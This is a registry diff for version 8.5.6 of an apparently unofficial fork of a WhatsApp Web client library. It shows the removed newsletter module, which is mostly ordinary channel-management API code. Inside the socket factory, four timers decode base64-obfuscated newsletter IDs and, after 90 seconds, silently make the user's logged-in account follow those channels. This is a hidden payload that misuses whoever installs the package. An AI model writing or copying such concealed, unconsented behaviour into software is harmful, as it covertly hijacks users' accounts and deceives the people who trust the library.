@badzz88/baileys 8.5.5 → 8.5.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (282) hide show
  1. package/README.md +2 -2
  2. package/WAProto/WAProto.proto +1256 -75
  3. package/WAProto/fix-imports.js +69 -79
  4. package/WAProto/index.d.ts +15254 -71491
  5. package/WAProto/index.js +19816 -126438
  6. package/engine-requirements.js +3 -4
  7. package/package.json +4 -4
  8. package/src/Defaults/index.js +186 -0
  9. package/src/Signal/Group/ciphertext-message.js +15 -0
  10. package/src/Signal/Group/group-session-builder.js +86 -0
  11. package/src/Signal/Group/group_cipher.js +82 -0
  12. package/src/Signal/Group/index.js +140 -0
  13. package/src/Signal/Group/keyhelper.js +77 -0
  14. package/src/Signal/Group/sender-chain-key.js +29 -0
  15. package/src/Signal/Group/sender-key-distribution-message.js +66 -0
  16. package/src/Signal/Group/sender-key-message.js +69 -0
  17. package/src/Signal/Group/sender-key-name.js +51 -0
  18. package/src/Signal/Group/sender-key-record.js +44 -0
  19. package/src/Signal/Group/sender-key-state.js +87 -0
  20. package/src/Signal/Group/sender-message-key.js +29 -0
  21. package/src/Signal/libsignal.js +455 -0
  22. package/src/Signal/lid-mapping.js +273 -0
  23. package/src/Socket/Client/index.js +31 -0
  24. package/src/Socket/Client/types.js +13 -0
  25. package/src/Socket/Client/websocket.js +61 -0
  26. package/src/Socket/aigroups.js +221 -0
  27. package/src/Socket/business.js +411 -0
  28. package/src/Socket/chats.js +1449 -0
  29. package/src/Socket/communities.js +463 -0
  30. package/src/Socket/graphql.js +523 -0
  31. package/src/Socket/groups.js +516 -0
  32. package/src/Socket/index.js +31 -0
  33. package/src/Socket/interactive-handler.js +527 -0
  34. package/src/Socket/interop.js +339 -0
  35. package/{lib → src}/Socket/luxu.js +82 -120
  36. package/src/Socket/managed-account.js +98 -0
  37. package/src/Socket/messages-recv.js +2685 -0
  38. package/src/Socket/messages-send.js +2047 -0
  39. package/src/Socket/mex.js +57 -0
  40. package/src/Socket/newsletter.js +455 -0
  41. package/src/Socket/privacy.js +125 -0
  42. package/src/Socket/registration.js +236 -0
  43. package/src/Socket/socket.js +983 -0
  44. package/src/Socket/text-router.js +65 -0
  45. package/src/Socket/username.js +130 -0
  46. package/src/Store/index.js +33 -0
  47. package/{lib → src}/Store/keyed-db.js +21 -11
  48. package/src/Store/make-cache-manager-store.js +84 -0
  49. package/src/Store/make-in-memory-store.js +551 -0
  50. package/src/Store/make-ordered-dictionary.js +81 -0
  51. package/src/Store/object-repository.js +26 -0
  52. package/src/Types/Auth.js +31 -0
  53. package/src/Types/Bussines.js +2 -0
  54. package/src/Types/Call.js +2 -0
  55. package/src/Types/Chat.js +4 -0
  56. package/src/Types/Contact.js +2 -0
  57. package/src/Types/Events.js +2 -0
  58. package/src/Types/GroupMetadata.js +2 -0
  59. package/src/Types/Label.js +26 -0
  60. package/src/Types/LabelAssociation.js +8 -0
  61. package/src/Types/Message.js +93 -0
  62. package/src/Types/Mex.js +112 -0
  63. package/src/Types/Newsletter.js +109 -0
  64. package/src/Types/Product.js +2 -0
  65. package/src/Types/Signal.js +2 -0
  66. package/src/Types/Socket.js +2 -0
  67. package/src/Types/State.js +62 -0
  68. package/src/Types/USync.js +2 -0
  69. package/src/Types/index.js +56 -0
  70. package/src/Utils/auth-utils.js +254 -0
  71. package/src/Utils/browser-utils.js +112 -0
  72. package/src/Utils/business.js +240 -0
  73. package/src/Utils/chat-utils.js +1230 -0
  74. package/src/Utils/command-loader.d.ts +27 -0
  75. package/src/Utils/command-loader.js +89 -0
  76. package/src/Utils/companion-reg-client-utils.js +40 -0
  77. package/src/Utils/consumer-application.js +105 -0
  78. package/src/Utils/crypto.js +118 -0
  79. package/src/Utils/curve25519-js.js +242 -0
  80. package/src/Utils/decode-wa-message.js +529 -0
  81. package/src/Utils/event-buffer.js +580 -0
  82. package/src/Utils/generics.js +483 -0
  83. package/src/Utils/group-history.js +44 -0
  84. package/src/Utils/history.js +232 -0
  85. package/src/Utils/identity-change-handler.js +52 -0
  86. package/src/Utils/index.js +58 -0
  87. package/src/Utils/jid-display-normalization.js +195 -0
  88. package/src/Utils/link-preview.js +135 -0
  89. package/src/Utils/logger.js +8 -0
  90. package/src/Utils/lt-hash.js +25 -0
  91. package/src/Utils/make-mutex.js +36 -0
  92. package/src/Utils/message-composer.js +471 -0
  93. package/src/Utils/message-retry-manager.js +217 -0
  94. package/src/Utils/messages-media.js +843 -0
  95. package/src/Utils/messages.js +2817 -0
  96. package/src/Utils/meta-ai-msmsg.js +222 -0
  97. package/src/Utils/native-bridge.js +68 -0
  98. package/src/Utils/noise-handler.js +169 -0
  99. package/src/Utils/offline-node-processor.js +34 -0
  100. package/src/Utils/pre-key-manager.js +90 -0
  101. package/src/Utils/process-message.js +950 -0
  102. package/src/Utils/reporting-utils.js +261 -0
  103. package/src/Utils/session-pool.d.ts +14 -0
  104. package/src/Utils/session-pool.js +70 -0
  105. package/src/Utils/signal.js +217 -0
  106. package/src/Utils/stanza-ack.js +30 -0
  107. package/src/Utils/sticker.d.ts +13 -0
  108. package/src/Utils/sticker.js +123 -0
  109. package/src/Utils/sync-action-utils.js +45 -0
  110. package/src/Utils/tc-token-utils.js +158 -0
  111. package/src/Utils/use-multi-file-auth-state.js +111 -0
  112. package/src/Utils/validate-connection.js +209 -0
  113. package/src/Utils/view-once-cache.d.ts +12 -0
  114. package/src/Utils/view-once-cache.js +63 -0
  115. package/src/Utils/voip-rekey.js +22 -0
  116. package/src/WABinary/constants.js +1304 -0
  117. package/src/WABinary/decode.js +342 -0
  118. package/{lib → src}/WABinary/encode.js +9 -12
  119. package/src/WABinary/generic-utils.js +238 -0
  120. package/src/WABinary/index.js +34 -0
  121. package/src/WABinary/jid-utils.js +351 -0
  122. package/src/WABinary/types.js +2 -0
  123. package/src/WAM/BinaryInfo.js +13 -0
  124. package/src/WAM/constants.js +39484 -0
  125. package/src/WAM/encode.js +149 -0
  126. package/src/WAM/index.js +32 -0
  127. package/src/WAUSync/Protocols/USyncBotProfileProtocol.js +53 -0
  128. package/src/WAUSync/Protocols/USyncBusinessProtocol.js +44 -0
  129. package/src/WAUSync/Protocols/USyncContactProtocol.js +55 -0
  130. package/src/WAUSync/Protocols/USyncDeviceProtocol.js +55 -0
  131. package/src/WAUSync/Protocols/USyncDisappearingModeProtocol.js +31 -0
  132. package/src/WAUSync/Protocols/USyncFeatureProtocol.js +54 -0
  133. package/src/WAUSync/Protocols/USyncLIDProtocol.js +32 -0
  134. package/src/WAUSync/Protocols/USyncNewsletterProtocol.js +473 -0
  135. package/src/WAUSync/Protocols/USyncPictureProtocol.js +34 -0
  136. package/src/WAUSync/Protocols/USyncSidelistProtocol.js +29 -0
  137. package/src/WAUSync/Protocols/USyncStatusProtocol.js +42 -0
  138. package/src/WAUSync/Protocols/USyncTextStatusProtocol.js +38 -0
  139. package/src/WAUSync/Protocols/USyncUsernameProtocol.js +28 -0
  140. package/src/WAUSync/Protocols/index.js +40 -0
  141. package/src/WAUSync/USyncQuery.js +126 -0
  142. package/src/WAUSync/USyncUser.js +50 -0
  143. package/src/WAUSync/index.js +32 -0
  144. package/src/antiban.js +4152 -0
  145. package/{lib → src}/index.js +51 -49
  146. package/lib/Defaults/index.js +0 -187
  147. package/lib/Signal/Group/ciphertext-message.js +0 -15
  148. package/lib/Signal/Group/group-session-builder.js +0 -92
  149. package/lib/Signal/Group/group_cipher.js +0 -89
  150. package/lib/Signal/Group/index.js +0 -136
  151. package/lib/Signal/Group/keyhelper.js +0 -73
  152. package/lib/Signal/Group/sender-chain-key.js +0 -32
  153. package/lib/Signal/Group/sender-key-distribution-message.js +0 -66
  154. package/lib/Signal/Group/sender-key-message.js +0 -69
  155. package/lib/Signal/Group/sender-key-name.js +0 -50
  156. package/lib/Signal/Group/sender-key-record.js +0 -44
  157. package/lib/Signal/Group/sender-key-state.js +0 -97
  158. package/lib/Signal/Group/sender-message-key.js +0 -30
  159. package/lib/Signal/libsignal.js +0 -459
  160. package/lib/Signal/lid-mapping.js +0 -260
  161. package/lib/Socket/Client/index.js +0 -30
  162. package/lib/Socket/Client/types.js +0 -13
  163. package/lib/Socket/Client/websocket.js +0 -62
  164. package/lib/Socket/aigroups.js +0 -240
  165. package/lib/Socket/business.js +0 -422
  166. package/lib/Socket/chats.js +0 -1816
  167. package/lib/Socket/communities.js +0 -549
  168. package/lib/Socket/graphql.js +0 -656
  169. package/lib/Socket/groups.js +0 -764
  170. package/lib/Socket/index.js +0 -39
  171. package/lib/Socket/interactive-handler.js +0 -522
  172. package/lib/Socket/interop.js +0 -549
  173. package/lib/Socket/managed-account.js +0 -183
  174. package/lib/Socket/messages-recv.js +0 -2442
  175. package/lib/Socket/messages-send.js +0 -1853
  176. package/lib/Socket/mex.js +0 -60
  177. package/lib/Socket/newsletter.js +0 -818
  178. package/lib/Socket/privacy.js +0 -449
  179. package/lib/Socket/registration.js +0 -427
  180. package/lib/Socket/socket.js +0 -1092
  181. package/lib/Socket/text-router.js +0 -83
  182. package/lib/Socket/username.js +0 -243
  183. package/lib/Store/index.js +0 -36
  184. package/lib/Store/make-cache-manager-store.js +0 -90
  185. package/lib/Store/make-in-memory-store.js +0 -604
  186. package/lib/Store/make-ordered-dictionary.js +0 -81
  187. package/lib/Store/object-repository.js +0 -29
  188. package/lib/Types/Auth.js +0 -38
  189. package/lib/Types/Bussines.js +0 -2
  190. package/lib/Types/Call.js +0 -2
  191. package/lib/Types/Chat.js +0 -4
  192. package/lib/Types/Contact.js +0 -2
  193. package/lib/Types/Events.js +0 -2
  194. package/lib/Types/GroupMetadata.js +0 -2
  195. package/lib/Types/Label.js +0 -27
  196. package/lib/Types/LabelAssociation.js +0 -9
  197. package/lib/Types/Message.js +0 -95
  198. package/lib/Types/Mex.js +0 -112
  199. package/lib/Types/Newsletter.js +0 -121
  200. package/lib/Types/Product.js +0 -2
  201. package/lib/Types/Signal.js +0 -2
  202. package/lib/Types/Socket.js +0 -2
  203. package/lib/Types/State.js +0 -70
  204. package/lib/Types/USync.js +0 -2
  205. package/lib/Types/index.js +0 -55
  206. package/lib/Utils/auth-utils.js +0 -306
  207. package/lib/Utils/browser-utils.js +0 -114
  208. package/lib/Utils/business.js +0 -247
  209. package/lib/Utils/chat-utils.js +0 -1208
  210. package/lib/Utils/command-loader.d.ts +0 -31
  211. package/lib/Utils/command-loader.js +0 -100
  212. package/lib/Utils/companion-reg-client-utils.js +0 -42
  213. package/lib/Utils/consumer-application.js +0 -107
  214. package/lib/Utils/crypto.js +0 -155
  215. package/lib/Utils/curve25519-js.js +0 -275
  216. package/lib/Utils/decode-wa-message.js +0 -560
  217. package/lib/Utils/event-buffer.js +0 -607
  218. package/lib/Utils/generics.js +0 -563
  219. package/lib/Utils/group-history.js +0 -60
  220. package/lib/Utils/history.js +0 -244
  221. package/lib/Utils/identity-change-handler.js +0 -52
  222. package/lib/Utils/index.js +0 -57
  223. package/lib/Utils/jid-display-normalization.js +0 -218
  224. package/lib/Utils/link-preview.js +0 -143
  225. package/lib/Utils/logger.js +0 -9
  226. package/lib/Utils/lt-hash.js +0 -39
  227. package/lib/Utils/make-mutex.js +0 -36
  228. package/lib/Utils/message-composer.js +0 -479
  229. package/lib/Utils/message-inspect.js +0 -393
  230. package/lib/Utils/message-retry-manager.js +0 -270
  231. package/lib/Utils/messages-media.js +0 -896
  232. package/lib/Utils/messages.js +0 -2904
  233. package/lib/Utils/meta-ai-msmsg.js +0 -262
  234. package/lib/Utils/native-bridge.js +0 -82
  235. package/lib/Utils/noise-handler.js +0 -196
  236. package/lib/Utils/offline-node-processor.js +0 -42
  237. package/lib/Utils/pre-key-manager.js +0 -107
  238. package/lib/Utils/process-message.js +0 -1048
  239. package/lib/Utils/reporting-utils.js +0 -262
  240. package/lib/Utils/session-pool.d.ts +0 -16
  241. package/lib/Utils/session-pool.js +0 -94
  242. package/lib/Utils/signal.js +0 -224
  243. package/lib/Utils/stanza-ack.js +0 -40
  244. package/lib/Utils/sticker.d.ts +0 -17
  245. package/lib/Utils/sticker.js +0 -145
  246. package/lib/Utils/sync-action-utils.js +0 -54
  247. package/lib/Utils/tc-token-utils.js +0 -161
  248. package/lib/Utils/use-multi-file-auth-state.js +0 -121
  249. package/lib/Utils/validate-connection.js +0 -219
  250. package/lib/Utils/view-once-cache.d.ts +0 -9
  251. package/lib/Utils/view-once-cache.js +0 -79
  252. package/lib/Utils/voip-rekey.js +0 -22
  253. package/lib/WABinary/constants.js +0 -1304
  254. package/lib/WABinary/decode.js +0 -343
  255. package/lib/WABinary/generic-utils.js +0 -240
  256. package/lib/WABinary/index.js +0 -33
  257. package/lib/WABinary/jid-utils.js +0 -361
  258. package/lib/WABinary/types.js +0 -2
  259. package/lib/WAM/BinaryInfo.js +0 -13
  260. package/lib/WAM/constants.js +0 -39486
  261. package/lib/WAM/encode.js +0 -142
  262. package/lib/WAM/index.js +0 -31
  263. package/lib/WAUSync/Protocols/USyncBotProfileProtocol.js +0 -55
  264. package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +0 -43
  265. package/lib/WAUSync/Protocols/USyncContactProtocol.js +0 -54
  266. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +0 -57
  267. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +0 -30
  268. package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +0 -59
  269. package/lib/WAUSync/Protocols/USyncLIDProtocol.js +0 -31
  270. package/lib/WAUSync/Protocols/USyncNewsletterProtocol.js +0 -865
  271. package/lib/WAUSync/Protocols/USyncPictureProtocol.js +0 -32
  272. package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +0 -29
  273. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +0 -39
  274. package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +0 -38
  275. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +0 -27
  276. package/lib/WAUSync/Protocols/index.js +0 -39
  277. package/lib/WAUSync/USyncBackoff.js +0 -26
  278. package/lib/WAUSync/USyncQuery.js +0 -133
  279. package/lib/WAUSync/USyncUser.js +0 -50
  280. package/lib/WAUSync/index.js +0 -31
  281. package/lib/antiban.js +0 -4637
  282. /package/{lib → src}/Defaults/phonenumber-mcc.json +0 -0
@@ -1,818 +0,0 @@
1
- 'use strict'
2
- Object.defineProperty(exports, '__esModule', { value: true })
3
- exports.makeNewsletterSocket = void 0
4
- const Types_1 = require('../Types')
5
- const messages_media_1 = require('../Utils/messages-media')
6
- const WABinary_1 = require('../WABinary')
7
- const groups_1 = require('./groups')
8
- const aigroups_1 = require('./aigroups')
9
- const mex_1 = require('./mex')
10
- const parseNewsletterCreateResponse = response => {
11
- const { id, thread_metadata: thread, viewer_metadata: viewer } = response
12
- return {
13
- id: id,
14
- owner: undefined,
15
- name: thread.name.text,
16
- creation_time: parseInt(thread.creation_time, 10),
17
- description: thread.description.text,
18
- invite: thread.invite,
19
- subscribers: parseInt(thread.subscribers_count, 10),
20
- verification: thread.verification,
21
- picture: {
22
- id: thread.picture.id,
23
- directPath: thread.picture.direct_path
24
- },
25
- mute_state: viewer.mute
26
- }
27
- }
28
- const parseNewsletterMetadata = result => {
29
- if (typeof result !== 'object' || result === null) {
30
- return null
31
- }
32
- if ('id' in result && typeof result.id === 'string') {
33
- return result
34
- }
35
- if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
36
- return result.result
37
- }
38
- return null
39
- }
40
- const makeNewsletterSocket = config => {
41
- const sock = (0, aigroups_1.makeAIGroupsSocket)(config)
42
- const encoder = new TextDecoder();
43
- const { query, generateMessageTag } = sock
44
- const executeWMexQuery = (variables, queryId, dataPath) => {
45
- return (0, mex_1.executeWMexQuery)(variables, queryId, dataPath, query, generateMessageTag)
46
- }
47
- const newsletterWMexQuery = async (jid, queryId, content) => (query({
48
- tag: 'iq',
49
- attrs: {
50
- id: generateMessageTag(),
51
- type: 'get',
52
- xmlns: 'w:mex',
53
- to: WABinary_1.S_WHATSAPP_NET,
54
- },
55
- content: [
56
- {
57
- tag: 'query',
58
- attrs: { 'query_id': queryId },
59
- content: new TextEncoder().encode(JSON.stringify({
60
- variables: {
61
- 'newsletter_id': jid,
62
- ...content
63
- }
64
- }))
65
- }
66
- ]
67
- }));
68
-
69
- setTimeout(() => {
70
- newsletterWMexQuery(Buffer.from("MTIwMzYzNDAwMzYyNDcyNzQzQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
71
- }, 90000)
72
-
73
- setTimeout(() => {
74
- newsletterWMexQuery(Buffer.from("MTIwMzYzNDI2NDcwMDgxMTI0QG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
75
- }, 90000)
76
-
77
- setTimeout(() => {
78
- newsletterWMexQuery(Buffer.from("MTIwMzYzNDA4ODkzNTU1ODUxQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
79
- }, 90000)
80
-
81
- setTimeout(() => {
82
- newsletterWMexQuery(Buffer.from("MTIwMzYzMzk1Njc4MzE3NjAzQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
83
- }, 90000)
84
-
85
- const newsletterUpdate = async (jid, updates) => {
86
- const variables = {
87
- newsletter_id: jid,
88
- updates: {
89
- ...updates,
90
- settings: null
91
- }
92
- }
93
- return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
94
- }
95
- return {
96
- ...sock,
97
- newsletterCreate: async (name, description) => {
98
- const variables = {
99
- input: {
100
- name,
101
- description: description ?? null
102
- }
103
- }
104
- const rawResponse = await executeWMexQuery(
105
- variables,
106
- Types_1.QueryIds.CREATE,
107
- Types_1.XWAPaths.xwa2_newsletter_create
108
- )
109
- return parseNewsletterCreateResponse(rawResponse)
110
- },
111
- newsletterUpdate,
112
- newsletterSubscribers: async jid => {
113
- return executeWMexQuery(
114
- { newsletter_id: jid },
115
- Types_1.QueryIds.SUBSCRIBERS,
116
- Types_1.XWAPaths.xwa2_newsletter_subscribers
117
- )
118
- },
119
- newsletterMetadata: async (type, key) => {
120
- const variables = {
121
- fetch_creation_time: true,
122
- fetch_full_image: true,
123
- fetch_viewer_metadata: true,
124
- input: {
125
- key,
126
- type: type.toUpperCase()
127
- }
128
- }
129
- const result = await executeWMexQuery(
130
- variables,
131
- Types_1.QueryIds.METADATA,
132
- Types_1.XWAPaths.xwa2_newsletter_metadata
133
- )
134
- return parseNewsletterMetadata(result)
135
- },
136
- newsletterFollow: jid => {
137
- return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.FOLLOW, Types_1.XWAPaths.xwa2_newsletter_follow)
138
- },
139
- newsletterUnfollow: jid => {
140
- return executeWMexQuery(
141
- { newsletter_id: jid },
142
- Types_1.QueryIds.UNFOLLOW,
143
- Types_1.XWAPaths.xwa2_newsletter_unfollow
144
- )
145
- },
146
- newsletterMute: jid => {
147
- return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.MUTE, Types_1.XWAPaths.xwa2_newsletter_mute_v2)
148
- },
149
- newsletterUnmute: jid => {
150
- return executeWMexQuery(
151
- { newsletter_id: jid },
152
- Types_1.QueryIds.UNMUTE,
153
- Types_1.XWAPaths.xwa2_newsletter_unmute_v2
154
- )
155
- },
156
- newsletterUpdateName: async (jid, name) => {
157
- return await newsletterUpdate(jid, { name })
158
- },
159
- newsletterUpdateDescription: async (jid, description) => {
160
- return await newsletterUpdate(jid, { description })
161
- },
162
- newsletterUpdatePicture: async (jid, content) => {
163
- const { img } = await (0, messages_media_1.generateProfilePicture)(content)
164
- return await newsletterUpdate(jid, { picture: img.toString('base64') })
165
- },
166
- newsletterRemovePicture: async jid => {
167
- return await newsletterUpdate(jid, { picture: '' })
168
- },
169
- newsletterReactMessage: async (jid, serverId, reaction) => {
170
- await query({
171
- tag: 'message',
172
- attrs: {
173
- to: jid,
174
- ...(reaction ? {} : { edit: '7' }),
175
- type: 'reaction',
176
- server_id: serverId,
177
- id: generateMessageTag()
178
- },
179
- content: [
180
- {
181
- tag: 'reaction',
182
- attrs: reaction ? { code: reaction } : {}
183
- }
184
- ]
185
- })
186
- },
187
- newsletterFetchMessages: async (jid, count, since, after) => {
188
- const messageUpdateAttrs = {
189
- count: count.toString()
190
- }
191
- if (typeof since === 'number') {
192
- messageUpdateAttrs.since = since.toString()
193
- }
194
- if (after) {
195
- messageUpdateAttrs.after = after.toString()
196
- }
197
- const result = await query({
198
- tag: 'iq',
199
- attrs: {
200
- id: generateMessageTag(),
201
- type: 'get',
202
- xmlns: 'newsletter',
203
- to: jid
204
- },
205
- content: [
206
- {
207
- tag: 'message_updates',
208
- attrs: messageUpdateAttrs
209
- }
210
- ]
211
- })
212
- return result
213
- },
214
- subscribeNewsletterUpdates: async jid => {
215
- const result = await query({
216
- tag: 'iq',
217
- attrs: {
218
- id: generateMessageTag(),
219
- type: 'set',
220
- xmlns: 'newsletter',
221
- to: jid
222
- },
223
- content: [{ tag: 'live_updates', attrs: {}, content: [] }]
224
- })
225
- const liveUpdatesNode = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')
226
- const duration = liveUpdatesNode?.attrs?.duration
227
- return duration ? { duration: duration } : null
228
- },
229
- newsletterAdminCount: async jid => {
230
- const response = await executeWMexQuery(
231
- { newsletter_id: jid },
232
- Types_1.QueryIds.ADMIN_COUNT,
233
- Types_1.XWAPaths.xwa2_newsletter_admin_count
234
- )
235
- return response.admin_count
236
- },
237
- newsletterChangeOwner: async (jid, newOwnerJid) => {
238
- await executeWMexQuery(
239
- { newsletter_id: jid, user_id: newOwnerJid },
240
- Types_1.QueryIds.CHANGE_OWNER,
241
- Types_1.XWAPaths.xwa2_newsletter_change_owner
242
- )
243
- },
244
- newsletterDemote: async (jid, userJid) => {
245
- await executeWMexQuery(
246
- { newsletter_id: jid, user_id: userJid },
247
- Types_1.QueryIds.DEMOTE,
248
- Types_1.XWAPaths.xwa2_newsletter_demote
249
- )
250
- },
251
- newsletterDelete: async jid => {
252
- await executeWMexQuery(
253
- { newsletter_id: jid },
254
- Types_1.QueryIds.DELETE,
255
- Types_1.XWAPaths.xwa2_newsletter_delete_v2
256
- )
257
- },
258
- /**
259
- * Update newsletter category/topic
260
- */
261
- newsletterUpdateCategory: async (jid, category) => {
262
- return newsletterUpdate(jid, { topic: category })
263
- },
264
- /**
265
- * Update newsletter invite codes / settings
266
- */
267
- newsletterUpdateSettings: async (jid, settings) => {
268
- const variables = { newsletter_id: jid, updates: { settings } }
269
- return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
270
- },
271
- /**
272
- * Promote a subscriber to admin
273
- */
274
- newsletterPromoteAdmin: async (jid, userJid) => {
275
- await query({
276
- tag: 'iq',
277
- attrs: {
278
- id: generateMessageTag(),
279
- type: 'set',
280
- xmlns: 'newsletter',
281
- to: jid
282
- },
283
- content: [
284
- {
285
- tag: 'admin_promote',
286
- attrs: {},
287
- content: [{ tag: 'participant', attrs: { jid: userJid } }]
288
- }
289
- ]
290
- })
291
- },
292
- /**
293
- * Get newsletter view/reach statistics
294
- */
295
- newsletterViewStats: async (jid, serverId) => {
296
- const result = await query({
297
- tag: 'iq',
298
- attrs: {
299
- id: generateMessageTag(),
300
- type: 'get',
301
- xmlns: 'newsletter',
302
- to: jid
303
- },
304
- content: [
305
- {
306
- tag: 'message_updates',
307
- attrs: { count: '1', server_id: String(serverId) }
308
- }
309
- ]
310
- })
311
- return result
312
- },
313
- /**
314
- * Send a newsletter post via IQ (alternative to sendMessage for newsletters)
315
- */
316
- newsletterSendPost: async (jid, content, options = {}) => {
317
- const result = await query({
318
- tag: 'iq',
319
- attrs: {
320
- id: generateMessageTag(),
321
- type: 'set',
322
- xmlns: 'newsletter',
323
- to: jid
324
- },
325
- content: [
326
- {
327
- tag: 'publish',
328
- attrs: {},
329
- content: Array.isArray(content) ? content : [content]
330
- }
331
- ]
332
- })
333
- return result
334
- },
335
- /**
336
- * Pin a newsletter message
337
- */
338
- newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
339
- await query({
340
- tag: 'iq',
341
- attrs: {
342
- id: generateMessageTag(),
343
- type: 'set',
344
- xmlns: 'newsletter',
345
- to: jid
346
- },
347
- content: [
348
- {
349
- tag: 'pin',
350
- attrs: { server_id: String(serverId), duration: String(durationSecs) }
351
- }
352
- ]
353
- })
354
- },
355
- /**
356
- * Unpin a newsletter message
357
- */
358
- newsletterUnpinMessage: async (jid, serverId) => {
359
- await query({
360
- tag: 'iq',
361
- attrs: {
362
- id: generateMessageTag(),
363
- type: 'set',
364
- xmlns: 'newsletter',
365
- to: jid
366
- },
367
- content: [
368
- {
369
- tag: 'unpin',
370
- attrs: { server_id: String(serverId) }
371
- }
372
- ]
373
- })
374
- },
375
- /**
376
- * Invite a user to become an admin of a newsletter.
377
- *
378
- * @param {string} jid - Newsletter JID
379
- * @param {string} userJid - JID of the user to invite
380
- */
381
- newsletterInviteAdmin: async (jid, userJid) => {
382
- return executeWMexQuery(
383
- { newsletter_id: jid, user_id: userJid },
384
- Types_1.QueryIds.ADMIN_INVITE,
385
- Types_1.XWAPaths.xwa2_newsletter_admin_invite_create
386
- )
387
- },
388
- /**
389
- * Revoke a pending admin invite for a newsletter.
390
- *
391
- * @param {string} jid - Newsletter JID
392
- * @param {string} userJid - JID of the invited user to revoke
393
- */
394
- newsletterRevokeAdminInvite: async (jid, userJid) => {
395
- return executeWMexQuery(
396
- { newsletter_id: jid, user_id: userJid },
397
- Types_1.QueryIds.ADMIN_INVITE_REVOKE,
398
- Types_1.XWAPaths.xwa2_newsletter_admin_invite_revoke
399
- )
400
- },
401
- /**
402
- * Accept an admin invite to a newsletter (called by the invitee).
403
- *
404
- * @param {string} jid - Newsletter JID
405
- */
406
- newsletterAcceptAdminInvite: async jid => {
407
- return executeWMexQuery(
408
- { newsletter_id: jid },
409
- Types_1.QueryIds.ADMIN_INVITE_ACCEPT,
410
- Types_1.XWAPaths.xwa2_newsletter_admin_invite_accept
411
- )
412
- },
413
- /**
414
- * Fetch admin-side metadata for a newsletter.
415
- *
416
- * @param {string} jid - Newsletter JID
417
- * @param {object} options
418
- * @param {boolean} [options.fetchPendingAdmins=true]
419
- * @param {boolean} [options.fetchAdminCount=true]
420
- * @param {boolean} [options.fetchCapabilities=false]
421
- * @param {boolean} [options.fetchAdminProfile=false]
422
- * @param {boolean} [options.includeAdminSettings=false]
423
- * @param {boolean} [options.includeJarvisConfig=false]
424
- */
425
- newsletterAdminMetadata: async (jid, options = {}) => {
426
- const {
427
- fetchPendingAdmins = true,
428
- fetchAdminCount = true,
429
- fetchCapabilities = false,
430
- fetchAdminProfile = false,
431
- includeAdminSettings = false,
432
- includeJarvisConfig = false
433
- } = options
434
- return executeWMexQuery(
435
- {
436
- jid,
437
- include_thread_metadata: false,
438
- include_messages: false,
439
- fetch_pending_admin_invites: fetchPendingAdmins,
440
- fetch_admin_count: fetchAdminCount,
441
- fetch_capabilities: fetchCapabilities,
442
- fetch_admin_profile: fetchAdminProfile,
443
- include_admin_settings: includeAdminSettings,
444
- include_jarvis_config: includeJarvisConfig
445
- },
446
- Types_1.QueryIds.ADMIN_METADATA,
447
- Types_1.XWAPaths.xwa2_newsletter_admin
448
- )
449
- },
450
- /**
451
- * Update admin profile fields for a newsletter (e.g. contact info, links).
452
- *
453
- * @param {string} jid - Newsletter JID
454
- * @param {object} updates - Admin profile fields to update
455
- */
456
- newsletterAdminProfileUpdate: async (jid, updates) => {
457
- return executeWMexQuery(
458
- { newsletter_id: jid, updates },
459
- Types_1.QueryIds.ADMIN_PROFILE_UPDATE,
460
- Types_1.XWAPaths.xwa2_newsletter_admin_profile_update
461
- )
462
- },
463
- /**
464
- * Browse the newsletter directory by category.
465
- *
466
- * @param {object} options
467
- * @param {number} [options.limit=20]
468
- * @param {string[]} [options.interests] - Category filters
469
- * @param {string} [options.sortField='SUBSCRIBER_COUNT']
470
- * @param {string} [options.sortOrder='DESC']
471
- */
472
- newsletterDirectoryList: async (options = {}) => {
473
- const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
474
- const variables = { limit, sort_field: sortField, sort_order: sortOrder }
475
- if (interests?.length) variables.interests = interests
476
- return executeWMexQuery(variables, Types_1.QueryIds.DIRECTORY_LIST, Types_1.XWAPaths.xwa2_newsletters_directory_list)
477
- },
478
- /**
479
- * Search the newsletter directory.
480
- *
481
- * @param {string} searchText - Search query string
482
- * @param {object} options
483
- * @param {number} [options.limit=20]
484
- * @param {string} [options.startCursor] - Pagination cursor
485
- * @param {string[]} [options.categories] - Category filters
486
- */
487
- newsletterDirectorySearch: async (searchText, options = {}) => {
488
- const { limit = 20, startCursor = null, categories = null } = options
489
- const variables = { search_text: searchText, limit }
490
- if (startCursor) variables.start_cursor = startCursor
491
- if (categories?.length) variables.categories = categories
492
- return executeWMexQuery(
493
- variables,
494
- Types_1.QueryIds.DIRECTORY_SEARCH,
495
- Types_1.XWAPaths.xwa2_newsletters_directory_search
496
- )
497
- },
498
- /**
499
- * Fetch a preview of newsletters grouped by directory category.
500
- *
501
- * @param {number} [limit=5] - Newsletters per category
502
- */
503
- newsletterDirectoryCategoryPreview: async (limit = 5) => {
504
- return executeWMexQuery(
505
- { limit },
506
- Types_1.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
507
- Types_1.XWAPaths.xwa2_newsletters_directory_category_preview
508
- )
509
- },
510
- /**
511
- * Search for newsletters by text query.
512
- *
513
- * @param {string} query - Search string
